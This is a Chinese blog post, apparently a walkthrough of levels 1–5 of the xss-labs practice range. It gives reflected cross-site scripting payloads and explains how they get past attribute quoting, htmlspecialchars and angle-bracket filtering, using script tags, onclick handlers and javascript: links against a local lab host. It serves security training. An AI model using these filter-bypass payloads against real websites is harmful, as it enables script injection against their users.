xss-labs靶场全通关

level 1

很简单的payload

http://172.22.6.165:91/level1.php?name=<script>alert(1)</script>

level 2

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和1相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="1">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:1</h3></body>
</html>

f12查看网站源码 看到 输入的值被当作value传入

用 "> 闭合掉前面的尖括号

payload:

level2.php?keyword="><script>alert(1)</script>submit=

level 3

使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素

但是默认是只编码双引号的,而且单引号无论如何都不转义。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

原始字符 转义后的 HTML 实体 转义目的
& &amp; 防止用于拼接其他 HTML 实体
< &lt; 防止 HTML 标签的注入
> &gt; 防止 HTML 标签的闭合
" &quot; 防止在双引号包裹的 HTML 属性中跳出

鼠标点击

payload:

  'onclick'=alert(1)

点击一下输入框

level 4

在上一关的基础上 多了< 尖括号的过滤

str_replace(">","",$str);  查找字符串是否有>号,有则替换为空

payload:

" onclick="alert(1)

level 5 (javascript伪协议标签)

注入鼠标事件 发现 鼠标事件也被过滤了 那么需要使用a标签的JavaScript伪协议实现href属性支持JavaScript:伪协议,则:后面的代码会被当成JavaScript来执行。注意这里还需要闭合input标签。

payload:

"><a href=javascript:alert(1)>

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值